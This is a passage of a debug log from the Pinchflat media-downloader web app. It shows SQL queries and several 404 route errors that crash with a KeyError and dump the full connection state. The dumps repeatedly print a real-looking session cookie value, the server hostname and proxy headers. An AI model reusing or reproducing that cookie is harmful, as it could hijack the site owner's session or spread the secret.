THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 21:43:13.404 [debug] QUERY OK source="media_items" db=1.0ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:13.406 [debug] QUERY OK source="sources" db=0.6ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.407 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 21:43:13.408 [debug] QUERY OK source="media_items" db=0.9ms idle=5.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:13.411 [info] GET /sources/10/force_index 21:43:13.412 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.413 [debug] QUERY OK source="settings" db=1.7ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.414 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=7.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 21:43:13.415 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.415 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.418 [debug] QUERY OK source="media_items" db=3.6ms idle=6.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:13.416 [error] #PID<0.36783.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 23) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36783.0>, params: %{}, path_info: ["sources", "10", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4OnaqRZev6wAAWgD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: f (truncated) 21:43:13.421 [info] GET /sources/10/media/12541/edit 21:43:13.421 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12541", "source_id" => "10"} Pipelines: [:browser] 21:43:13.422 [debug] QUERY OK source="media_items" db=0.5ms idle=9.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12541] 21:43:13.422 [info] Sent 200 in 27ms 21:43:13.425 [debug] QUERY OK source="settings" db=2.7ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.426 [debug] QUERY OK source="settings" db=0.4ms idle=11.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.428 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.428 [info] Sent 200 in 7ms 21:43:13.520 [info] GET /sources/10/force_redownload 21:43:13.521 [debug] QUERY OK source="settings" db=0.1ms idle=101.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.521 [debug] QUERY OK source="settings" db=0.2ms idle=98.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.521 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.521 [error] #PID<0.36785.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 25) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36785.0>, params: %{}, path_info: ["sources", "10", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4PBgd5OWz70AAWhD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRL (truncated) 21:43:13.593 [info] GET /sources/10/sync_files_on_disk 21:43:13.594 [info] GET /sources/10/force_metadata_refresh 21:43:13.595 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=168.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.595 [debug] QUERY OK source="settings" db=0.1ms idle=168.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.596 [debug] QUERY OK source="settings" db=0.5ms idle=167.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.596 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.596 [debug] QUERY OK source="settings" db=0.6ms idle=74.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.596 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.597 [error] #PID<0.36786.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 26) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: 